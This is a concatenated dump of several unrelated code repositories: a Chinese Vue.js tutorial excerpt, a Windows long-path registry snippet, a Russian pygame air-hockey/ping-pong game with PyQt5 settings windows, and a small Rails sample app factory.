Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化。
## 服务端渲染(Nuxt.js)
使用 Vue 开发的多半是前后端分离的项目,将服务器渲染向浏览器渲染转移,浏览器渲染优点就是缓解服务器压力,促进前后端分离开发模式,万物有利有弊,它的缺点就是不利于搜索引擎优化,由于它的数据需要 ajax 进行数据交互,搜索引擎并没有太好的 js 或者 异步请求解析能力,导致网站排名等受到影响。
但是,在 Vue 中你不用担心,因为他支持服务器渲染,需要借助 Nuxt.js。
Nuxt.js 是一个基于 Vue.js 的通用应用框架。Nuxt.js 预设了利用 Vue.js 开发服务端渲染的应用所需要的各种配置。
## 总结
本节的主要内容如下:
+ 工程化与组件化开发引导
+ 前端路由管理(vue-router)
+ 前端数据状态管理(vuex)
+ 服务端渲染(nuxt.js)
作为 Vue.js 进阶引导篇,主要介绍了 Vue 在实际开发中的形式,以及进一步 Vue.js 学习中必须要掌握的技能,重点去学习的东西。<file_sep>## 支持长路径
```powershell
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" `
-Name "LongPathsEnabled" -Value 1 -PropertyType DWORD -Force
```
```cmd
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]
"LongPathsEnabled"=dword:00000001
```
| 9852dceb6e1ffa57b6d94ccfd4f7a2b2defdb067 | [
"Markdown",
"SQL",
"Python"
] | 85 | Markdown | yayavicky/notes_old | 935dd117a8d6cd6e0e400d2360fc1afe78828450 | f911d3ee26b68fc1a99fd39310a21fa93eda69ec |
refs/heads/master | <file_sep>
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_LevelSettings(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.resize(376, 248)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName("centralwidget")
self.pushButton = QtWidgets.QPushButton(self.centralwidget)
self.pushButton.setGeometry(QtCore.QRect(30, 10, 111, 61))
self.pushButton.setStyleSheet("background-color: rgb(170, 85, 255);")
self.pushButton.setObjectName("pushButton")
self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)
self.pushButton_2.setGeometry(QtCore.QRect(110, 80, 111, 61))
self.pushButton_2.setStyleSheet("background-color: rgb(255, 255, 191);")
self.pushButton_2.setObjectName("pushButton_2")
self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget)
self.pushButton_3.setGeometry(QtCore.QRect(180, 10, 121, 61))
self.pushButton_3.setStyleSheet("background-color: rgb(85, 255, 0);")
self.pushButton_3.setObjectName("pushButton_3")
self.pushButton_4 = QtWidgets.QPushButton(self.centralwidget)
self.pushButton_4.setGeometry(QtCore.QRect(30, 140, 311, 61))
font = QtGui.QFont()
font.setPointSize(14)
font.setBold(True)
font.setItalic(True)
font.setWeight(75)
self.pushButton_4.setFont(font)
self.pushButton_4.setStyleSheet(
"background-color: qradialgradient(spread:pad, cx:0.5, cy:0.5, radius:0.5, fx:0.5, fy:0.5, stop:0 rgba(0, 0, 0, 255), stop:0.19397 rgba(0, 0, 0, 255), stop:0.202312 rgba(122, 97, 0, 255), stop:0.495514 rgba(76, 58, 0, 255), stop:0.504819 rgba(255, 255, 255, 255), stop:0.79 rgba(255, 255, 255, 255), stop:1 rgba(255, 158, 158, 255));\n"
"color: rgb(255, 0, 0);")
self.pushButton_4.setObjectName("pushButton_4")
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtWidgets.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 376, 21))
self.menubar.setObjectName("menubar")
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtWidgets.QStatusBar(MainWindow)
self.statusbar.setObjectName("statusbar")
MainWindow.setStatusBar(self.statusbar)
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
_translate = QtCore.QCoreApplication.translate
MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow"))
self.pushButton.setText(_translate("MainWindow", "Мультиплеер(1)"))
self.pushButton_2.setText(_translate("MainWindow", "Одиночная игра(0)"))
self.pushButton_3.setText(_translate("MainWindow", "Игра с ботом(2)"))
self.pushButton_4.setText(_translate("MainWindow", "Битва двух ботов(3)"))
<file_sep>import pygame
import os
import sys
import random
import arrow
from PyQt5.QtWidgets import QApplication, QPushButton, QMainWindow, QSpinBox, QLabel
from settings import Ui_SettingsWindow
from levelsettings import Ui_LevelSettings
WIDTH = 500
HEIGHT = 500
FPS = 60
LEFT_WALL_x = 50
RIGHT_WALL_X = WIDTH - 50
SLIDER_SPEED = 12
NAME_OF_MUSIC = "intro.mp3"
MUSIC_VOLUME = 0.05
START_SCREEN_PICT = 'fon.jpg'
SETTINGS_BUT_PICT = "settings_button.png"
LEVEL_BUT_PICT = 'levelbutton.png'
ENDLINE_PICT = 'endline.png'
SLIDER_PICT = 'slider.png'
BALL_PICT = "ball.png"
ANTIBUGS_WALLS_PICT = 'antibugs_wall.png'
ANIMATED_PICT = "support_colors.png"
dragons_sprites = pygame.sprite.Group()
all_sprites = pygame.sprite.Group()
horizontal_borders = pygame.sprite.Group()
vertical_borders = pygame.sprite.Group()
endline_sprites = pygame.sprite.Group()
sliders_sprites = pygame.sprite.Group()
ball_sprites = pygame.sprite.Group()
settings_sprites = pygame.sprite.Group()
pygame.init()
screen_size = WIDTH, HEIGHT
screen = pygame.display.set_mode(screen_size)
pygame.display.set_caption('АЭРОХОККЕЙ x ПИН-ПОНГ')
running = True
clock = pygame.time.Clock()
# загрузка изображения
def load_image(name, colorkey=None):
fullname = os.path.join('data', name)
if not os.path.isfile(fullname):
print(f"Файл с изображением '{fullname}' не найден")
sys.exit()
image = pygame.image.load(fullname)
if colorkey is not None:
image = image.convert()
if colorkey == -1:
colorkey = image.get_at((0, 0))
image.set_colorkey(colorkey)
else:
image = image.convert_alpha()
return image
def terminate():
pygame.quit()
sys.exit()
# начальный экран
def start_screen():
intro_text = ["Выберите режим игры", "1 - мультиплеер", " 0 - одиночная игра",
" 2 - игра c ботом",
"3 - режим ставка на бота",
"Платформы управляются с a и d ", "или стрелочками", "вправо и влево",
"При нажатии на шестеренку откроются настройки"]
fon = pygame.transform.scale(load_image(START_SCREEN_PICT), screen_size)
screen.blit(fon, (0, 0))
font = pygame.font.Font(None, 30)
text_coord = 50
for line in intro_text:
string_rendered = font.render(line, 1, pygame.Color('white'))
intro_rect = string_rendered.get_rect()
text_coord += 10
intro_rect.top = text_coord
intro_rect.x = 10
text_coord += intro_rect.height
screen.blit(string_rendered, intro_rect)
pygame.mixer.init()
pygame.mixer.music.load(NAME_OF_MUSIC)
pygame.mixer.music.set_volume(MUSIC_VOLUME)
pygame.mixer.music.play(-1)
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.mixer.stop()
terminate()
elif event.type == pygame.KEYDOWN:
if event.key in range(48, 52):
return event.key - 48
pygame.display.flip()
clock.tick(FPS)
# класс кнопки для активации настройки
class SettingsButton(pygame.sprite.Sprite):
def __init__(self, ball, slider_1, slider_2):
super().__init__(settings_sprites)
self.image = load_image(SETTINGS_BUT_PICT, -1)
self.image = pygame.transform.scale(self.image, (50, 50))
self.rect = self.image.get_rect()
self.rect.x = WIDTH - 50
self.rect.y = 10
self.ball = ball
self.slider_1 = slider_1
self.slider_2 = slider_2
def set_coords(self, x, y):
self.rect.x = x
self.rect.y = y
def get_coords(self):
return self.rect.x, self.rect.y, 50 + self.rect.x, \
50 + self.rect.y
def start_settings(self):
app = QApplication(sys.argv)
ex = SettingsMenu(self.ball, self.slider_1, self.slider_2)
ex.show()
app.exec()
def check_click(self, pos):
mouse_x = pos[0]
mouse_y = pos[1]
coords = self.get_coords()
if mouse_x > coords[0] and mouse_x < coords[2] and mouse_y > coords[1] and \
mouse_y < coords[3]:
self.start_settings()
# класс настроек
class SettingsMenu(QMainWindow, Ui_SettingsWindow):
def __init__(self, ball, slider_1, slider_2):
super().__init__()
self.setupUi(self)
self.ball = ball
self.slider_1 = slider_1
self.slider_2 = slider_2
self.init_Ui()
def init_Ui(self):
self.setWindowTitle('Настройки')
self.min_speed_value.setValue(self.ball.min_speed)
self.max_speed_value.setValue(self.ball.max_speed)
self.bot_level.setValue(self.slider_1.bot_level)
self.ball = ball
self.min_speed_value.setRange(1, 18)
self.min_speed_value.setRange(1, 20)
self.bot_level.setRange(0, 10)
self.apply_button.clicked.connect(self.apply_settings)
self.min_speed_value.valueChanged.connect(self.min_speed_func)
# применить настройки
def apply_settings(self):
min_speed = self.min_speed_value.value()
max_speed = self.max_speed_value.value()
level = self.bot_level.value()
if min_speed > 0 and max_speed > 0 and max_speed > min_speed:
self.ball.set_speed_range(min_speed, max_speed)
self.slider_1.set_level(level)
self.slider_2.set_level(level)
self.status_label.setText('Изменения успешно подтверждены')
self.status_label.setStyleSheet("background-color: rgb(0, 255, 0);")
else:
self.status_label.setText('Введите корректные значения')
self.status_label.setStyleSheet("background-color: rgb(255, 0, 0);")
def min_speed_func(self):
minimum_speed = self.min_speed_value.value()
max_speed_now = self.max_speed_value.value()
if max_speed_now <= minimum_speed + 2:
self.max_speed_value.setValue(minimum_speed + 2)
# класс для кнопки с выбором режимов
class LevelButton(pygame.sprite.Sprite):
def __init__(self):
super().__init__(settings_sprites)
self.image = load_image(LEVEL_BUT_PICT, -1)
self.image = pygame.transform.scale(self.image, (50, 50))
self.rect = self.image.get_rect()
self.rect.x = WIDTH - 50
self.rect.y = HEIGHT - 150
def set_coords(self, x, y):
self.rect.x = x
self.rect.y = y
def get_coords(self):
return self.rect.x, self.rect.y, 50 + self.rect.x, \
50 + self.rect.y
def start_level(self):
app = QApplication(sys.argv)
ex = LevelsMenu()
ex.show()
app.exec()
def check_click(self, pos):
mouse_x = pos[0]
mouse_y = pos[1]
coords = self.get_coords()
if mouse_x > coords[0] and mouse_x < coords[2] and mouse_y > coords[1] and \
mouse_y < coords[3]:
self.start_level()
# меню с выбором режим игры
class LevelsMenu(QMainWindow, Ui_LevelSettings):
def __init__(self):
super().__init__()
self.setupUi(self)
self.init_Ui()
def init_Ui(self):
self.setWindowTitle('Выберите режим игры')
self.pushButton.clicked.connect(self.apply_settings)
self.pushButton_4.clicked.connect(self.apply_settings)
self.pushButton_2.clicked.connect(self.apply_settings)
self.pushButton_3.clicked.connect(self.apply_settings)
def apply_settings(self):
global multiplayer
multiplayer = int(self.sender().text().split('(')[-1][:-1])
change_mode()
# класс линии, которая считывает голы
class EndLine(pygame.sprite.Sprite):
def __init__(self, y):
super().__init__(endline_sprites)
self.image = load_image(ENDLINE_PICT)
self.rect = self.image.get_rect()
self.rect.x = 0
self.rect.y = y
self.score_x = 15
self.score_y = 15
self.score = 0
self.mask = pygame.mask.from_surface(self.image)
def set_y(self, y):
self.rect.y = y
def set_score_coords(self, x, y):
self.score_x = x
self.score_y = y
def update_score(self, screen):
font = pygame.font.Font(None, 30)
text = font.render(str(self.score), True, (255, 255, 255))
screen.blit(text, (self.score_x, self.score_y))
text_w = text.get_width()
text_h = text.get_height()
screen.blit(text, (self.score_x, self.score_y))
pygame.draw.rect(screen, (255, 255, 255), (self.score_x - 10, self.score_y - 10,
text_w + 20, text_h + 20), 2)
def update_time(self, screen):
time = arrow.now().format('HH:mm:ss')
font = pygame.font.Font(None, 20)
text = font.render(str(time), True, (255, 255, 255))
screen.blit(text, (self.score_x, HEIGHT - self.score_y))
text_w = text.get_width()
text_h = text.get_height()
screen.blit(text, (self.score_x, HEIGHT - self.score_y))
pygame.draw.rect(screen, (255, 255, 255), (self.score_x - 10, HEIGHT - self.score_y - 10,
text_w + 20, text_h + 20), 2)
# класс платформы
class Slider(pygame.sprite.Sprite):
def __init__(self):
super().__init__(sliders_sprites)
self.image = load_image(SLIDER_PICT)
self.image = pygame.transform.scale(self.image, (77, 3))
self.rect = self.image.get_rect()
self.rect.x = WIDTH // 5 * 2
self.left_motion = False
self.right_motion = False
self.bot = False
self.errors = 0
self.count_errors = 0
self.bot_level = 10
def restart_errors(self):
self.errors = 0
self.count_errors = 0
def update(self, ball):
if self.bot:
self.rect = self.rect.move(ball.rect.x - self.rect.x + self.errors, 0)
self.count_errors += 1
if self.rect.x >= WIDTH - 134:
self.rect.x = WIDTH - 134
if self.rect.x < 56:
self.rect.x = 56
if self.count_errors == 300:
error_pix = 100 - self.bot_level * 10
self.errors += random.randint(-error_pix, error_pix)
else:
if self.left_motion:
if self.rect.x > 56:
self.rect = self.rect.move(-SLIDER_SPEED, 0)
if self.right_motion:
if self.rect.x < WIDTH - 134:
self.rect = self.rect.move(SLIDER_SPEED, 0)
def set_bot(self):
self.bot = True
def set_player(self):
self.bot = False
def set_y(self, y):
self.rect.y = y
def set_level(self, level):
self.errors = 0
self.count_errors = 0
self.bot_level = level
# класс боковых стенок
class Wall(pygame.sprite.Sprite):
list_of_coords = []
def __init__(self, x1, y1, x2, y2):
super().__init__(all_sprites)
if x1 == x2: # вертикальная стенка
self.add(vertical_borders)
self.image = pygame.Surface([1, y2 - y1])
self.rect = pygame.Rect(x1, y1, 1, y2 - y1)
Wall.list_of_coords.append([(x1, y1), (x2, y2)])
else: # горизонтальная стенка
self.add(horizontal_borders)
self.image = pygame.Surface([x2 - x1, 1])
self.rect = pygame.Rect(x1, y1, x2 - x1, 1)
Wall.list_of_coords.append([(x1, y1), (x2, y2)])
# класс мячика
class Ball(pygame.sprite.Sprite):
def __init__(self, *group):
super().__init__(*group)
self.image = load_image(BALL_PICT, -1)
self.list_of_vectors = [-1, 1]
self.vector_speed_x = 0
self.vector_speed_y = 0
self.min_speed = 1
self.max_speed = 10
self.speed_x = 0
self.speed_y = 0
self.rect = self.image.get_rect()
self.mask = pygame.mask.from_surface(self.image)
self.rect.x = WIDTH // 2
self.rect.y = HEIGHT // 2
self.islive = False
def set_speed_range(self, min_speed, max_speed):
self.min_speed = min_speed
self.max_speed = max_speed
def get_status(self):
return self.islive
def restart(self):
self.rect.x = WIDTH // 2
self.rect.y = HEIGHT // 2
self.speed_x = 0
self.speed_y = 0
self.islive = False
def start(self):
if not self.islive:
self.vector_speed_x = self.list_of_vectors[random.randint(0, 1)]
self.vector_speed_y = self.list_of_vectors[random.randint(0, 1)]
self.speed_x = random.randint(self.min_speed, self.max_speed)
self.speed_y = random.randint(self.min_speed, self.max_speed)
self.islive = True
def update(self, horizontal_borders, vertical_borders, sliders_sprites, endline,
endline_2, antiwall_1, antiwall_2):
self.rect = self.rect.move(self.vector_speed_x * self.speed_x,
self.vector_speed_y * self.speed_y)
if pygame.sprite.spritecollideany(self, horizontal_borders):
self.rect = self.rect.move(-(self.speed_x * self.vector_speed_x),
-(self.speed_y * self.vector_speed_y))
self.vector_speed_y *= -1
self.speed_x = random.randint(self.min_speed, self.max_speed)
self.speed_y = random.randint(self.min_speed, self.max_speed)
if pygame.sprite.spritecollideany(self, vertical_borders):
self.rect = self.rect.move(-(self.speed_x * self.vector_speed_x),
-(self.speed_y * self.vector_speed_y))
self.vector_speed_x *= -1
self.speed_x = random.randint(self.min_speed, self.max_speed)
self.speed_y = random.randint(self.min_speed, self.max_speed)
if pygame.sprite.spritecollideany(self, sliders_sprites):
self.rect = self.rect.move(-(self.speed_x * self.vector_speed_x),
-(self.speed_y * self.vector_speed_y))
self.vector_speed_y *= -1
self.vector_speed_x *= -1
self.speed_x = random.randint(self.min_speed, self.max_speed)
self.speed_y = random.randint(self.min_speed, self.max_speed)
if pygame.sprite.collide_mask(self, endline):
self.restart()
endline.score += 1
if pygame.sprite.collide_mask(self, endline_2):
self.restart()
endline_2.score += 1
if pygame.sprite.collide_mask(self, antiwall_1):
self.restart()
if pygame.sprite.collide_mask(self, antiwall_2):
self.restart()
# стенки помогающие в непридвиденных ситуациях
class Antibugs_wall(pygame.sprite.Sprite):
def __init__(self, x):
super().__init__(horizontal_borders)
self.image = load_image(ANTIBUGS_WALLS_PICT)
self.rect = self.image.get_rect()
self.rect.x = x
self.mask = pygame.mask.from_surface(self.image)
# разместить стенки
def set_walls():
Wall(LEFT_WALL_x, 20, LEFT_WALL_x, HEIGHT - 20)
Wall(RIGHT_WALL_X, 20, RIGHT_WALL_X, HEIGHT - 20)
# анимированный спрайт (переливающаяся стенка)
class AnimatedSprite(pygame.sprite.Sprite):
def __init__(self, sheet, columns, rows, x, y):
super().__init__(dragons_sprites)
self.frames = []
self.cut_sheet(sheet, columns, rows)
self.cur_frame = 0
self.image = self.frames[self.cur_frame]
self.image = pygame.transform.scale(self.image, (50, 50))
self.rect = self.rect.move(x, y)
self.counts = 0
def cut_sheet(self, sheet, columns, rows):
self.rect = pygame.Rect(0, 0, sheet.get_width() // columns,
sheet.get_height() // rows)
for j in range(rows):
for i in range(columns):
frame_location = (self.rect.w * i, self.rect.h * j)
self.frames.append(sheet.subsurface(pygame.Rect(
frame_location, self.rect.size)))
def update(self):
self.counts += 1
if self.counts % 12 == 0:
self.cur_frame = (self.cur_frame + 1) % len(self.frames)
self.image = self.frames[self.cur_frame]
self.image = pygame.transform.scale(self.image, (45, 250))
dragon_1 = AnimatedSprite(load_image(ANIMATED_PICT, 1), 32, 2, 2, 70)
dragon_2 = AnimatedSprite(load_image(ANIMATED_PICT, 1), 32, 2, WIDTH - 47, 70)
ball = Ball(ball_sprites)
slide_1 = Slider()
slide_2 = Slider()
slide_1.set_y(50)
slide_2.set_y(HEIGHT - 50)
set_walls()
endline = EndLine(0)
endline.set_score_coords(WIDTH - 30, RIGHT_WALL_X)
endline_2 = EndLine(HEIGHT - 10)
multiplayer = start_screen()
settings_button = SettingsButton(ball, slide_1, slide_2)
level_button = LevelButton()
antiwall_1 = Antibugs_wall(30)
antiwall_2 = Antibugs_wall(WIDTH - 30)
def change_mode():
if multiplayer == 2:
slide_1.set_bot()
slide_2.set_player()
elif multiplayer == 3:
slide_1.set_bot()
slide_2.set_bot()
else:
slide_1.set_player()
slide_2.set_player()
endline_2.score = 0
endline.score = 0
change_mode()
while running:
screen.fill(pygame.Color("black"))
for i in Wall.list_of_coords:
pygame.draw.line(screen, (255, 0, 0), i[0], i[1], 5)
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
if event.type == pygame.MOUSEBUTTONDOWN:
settings_button.check_click(event.pos)
level_button.check_click(event.pos)
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE:
if not ball.get_status():
ball.start()
else:
ball.restart()
if multiplayer == 1:
if event.key == pygame.K_LEFT:
slide_1.left_motion = True
if event.key == pygame.K_RIGHT:
slide_1.right_motion = True
if event.key == pygame.K_a:
slide_2.left_motion = True
if event.key == pygame.K_d:
slide_2.right_motion = True
elif multiplayer == 2:
if event.key == pygame.K_LEFT:
slide_2.left_motion = True
if event.key == pygame.K_RIGHT:
slide_2.right_motion = True
elif multiplayer == 0:
if event.key == pygame.K_LEFT:
slide_1.left_motion = True
slide_2.left_motion = True
if event.key == pygame.K_RIGHT:
slide_1.right_motion = True
slide_2.right_motion = True
if event.type == pygame.KEYUP:
if multiplayer == 1:
if event.key == pygame.K_LEFT:
slide_1.left_motion = False
if event.key == pygame.K_RIGHT:
slide_1.right_motion = False
if event.key == pygame.K_a:
slide_2.left_motion = False
if event.key == pygame.K_d:
slide_2.right_motion = False
if multiplayer == 2:
if event.key == pygame.K_LEFT:
slide_2.left_motion = False
if event.key == pygame.K_RIGHT:
slide_2.right_motion = False
elif multiplayer == 0:
if event.key == pygame.K_LEFT:
slide_1.left_motion = False
slide_2.left_motion = False
if event.key == pygame.K_RIGHT:
slide_1.right_motion = False
slide_2.right_motion = False
slide_1.update(ball)
slide_2.update(ball)
settings_sprites.draw(screen)
ball_sprites.draw(screen)
ball.update(horizontal_borders, vertical_borders, sliders_sprites, endline, endline_2,
antiwall_1, antiwall_2)
sliders_sprites.draw(screen)
endline.update_score(screen)
endline_2.update_time(screen)
endline_2.update_score(screen)
dragons_sprites.draw(screen)
dragon_1.update()
dragon_2.update()
clock.tick(FPS)
pygame.display.flip()
pygame.mixer.music.stop()
pygame.quit()
<file_sep>Перед вам игра ПИН ПОНГхАЭРОХОККЕЙ.
Выберите режим игры нажав на нужную цифру:
0 - одиночная игра
1 - мультиплеер
2 - игра с ботом
3 - игра двух ботов (т.е. ставочный режим)
Управление платформами осуществляется на A-D и стрелки вправо и влево
Для начала движения шайбы нажмите пробел
Чтобы вернуть шайбу в изначальное место нажмите пробел
Нажав на шестеренку вам высветится меню настройки
Там вы можете выбрать диапазон скорости шайбы, но наименьшая скорость должна быть на 2 меньше чем наибольшая
Также можно настроить уровень бота где 10 - сильный, а 0 кривой.<file_sep>arrow==0.17.0
pip==20.2.3
pygame==2.0.0
PyQt5==5.15.1
<file_sep>
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_SettingsWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.resize(459, 270)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName("centralwidget")
self.min_speed_value = QtWidgets.QSpinBox(self.centralwidget)
self.min_speed_value.setGeometry(QtCore.QRect(280, 50, 51, 22))
self.min_speed_value.setObjectName("min_speed_value")
self.label = QtWidgets.QLabel(self.centralwidget)
self.label.setGeometry(QtCore.QRect(10, 50, 211, 21))
self.label.setObjectName("label")
self.max_speed_value = QtWidgets.QSpinBox(self.centralwidget)
self.max_speed_value.setGeometry(QtCore.QRect(280, 90, 51, 22))
self.max_speed_value.setObjectName("max_speed_value")
self.label_2 = QtWidgets.QLabel(self.centralwidget)
self.label_2.setGeometry(QtCore.QRect(10, 90, 201, 21))
self.label_2.setObjectName("label_2")
self.label_4 = QtWidgets.QLabel(self.centralwidget)
self.label_4.setGeometry(QtCore.QRect(10, 10, 391, 31))
font = QtGui.QFont()
font.setFamily("Yu Gothic UI Semibold")
font.setPointSize(14)
font.setBold(True)
font.setWeight(75)
self.label_4.setFont(font)
self.label_4.setObjectName("label_4")
self.status_label = QtWidgets.QLabel(self.centralwidget)
self.status_label.setGeometry(QtCore.QRect(6, 213, 431, 20))
self.status_label.setText("")
self.status_label.setObjectName("status_label")
self.apply_button = QtWidgets.QPushButton(self.centralwidget)
self.apply_button.setGeometry(QtCore.QRect(104, 172, 181, 21))
self.apply_button.setObjectName("apply_button")
self.label_3 = QtWidgets.QLabel(self.centralwidget)
self.label_3.setGeometry(QtCore.QRect(10, 130, 191, 21))
self.label_3.setObjectName("label_3")
self.bot_level = QtWidgets.QSpinBox(self.centralwidget)
self.bot_level.setGeometry(QtCore.QRect(280, 130, 51, 21))
self.bot_level.setObjectName("bot_level")
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtWidgets.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 459, 21))
self.menubar.setObjectName("menubar")
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtWidgets.QStatusBar(MainWindow)
self.statusbar.setObjectName("statusbar")
MainWindow.setStatusBar(self.statusbar)
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
_translate = QtCore.QCoreApplication.translate
MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow"))
self.label.setText(_translate("MainWindow", "Минимальная скорость шарика по оси:"))
self.label_2.setText(_translate("MainWindow", "Максимальная скорость шарика по оси:"))
self.label_4.setText(_translate("MainWindow", "Вводить только положительные значения:"))
self.apply_button.setText(_translate("MainWindow", "Применить значения"))
self.label_3.setText(_translate("MainWindow", "Сложность бота 0-10(если есть):"))
| e08300e379467d3eb9b5fcc09dee4b992ec92af3 | [
"Python",
"Text"
] | 5 | Python | DmitriyKruchkov/pygame-project | 27d5cbe90267b482401efe2c2283e78d1a3bb952 | 949ab767f45009f5b2063d2c3cdcaf1ca7a0b141 |
refs/heads/master | <repo_name>wkgg/sample_app<file_sep>/spec/factories.rb
FactoryGirl.define do
factory :user do
name "Amos"
email "<EMAIL>"
password "<PASSWORD>"
password_confirmation "<PASSWORD>"
end
end<file_sep>/README.md
# Ruby on Rails Tutorial: sample application
This is the first application for
[*Ruby on Rails Tutorial: Learn Rails by Example*](http://railstutorial.org/)
by [<NAME>](http://www.amoscoder.me).
| 37ecb1da2b30d6ee71d22cc0bbe248d672974ac2 | [
"Markdown",
"Ruby"
] | 2 | Ruby | wkgg/sample_app | 1a6bed856b70714710bcb4c1285dc5f0cda846b5 | 55f36c3cfb13f63b026084e557f13f7aeb2c1d1d |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.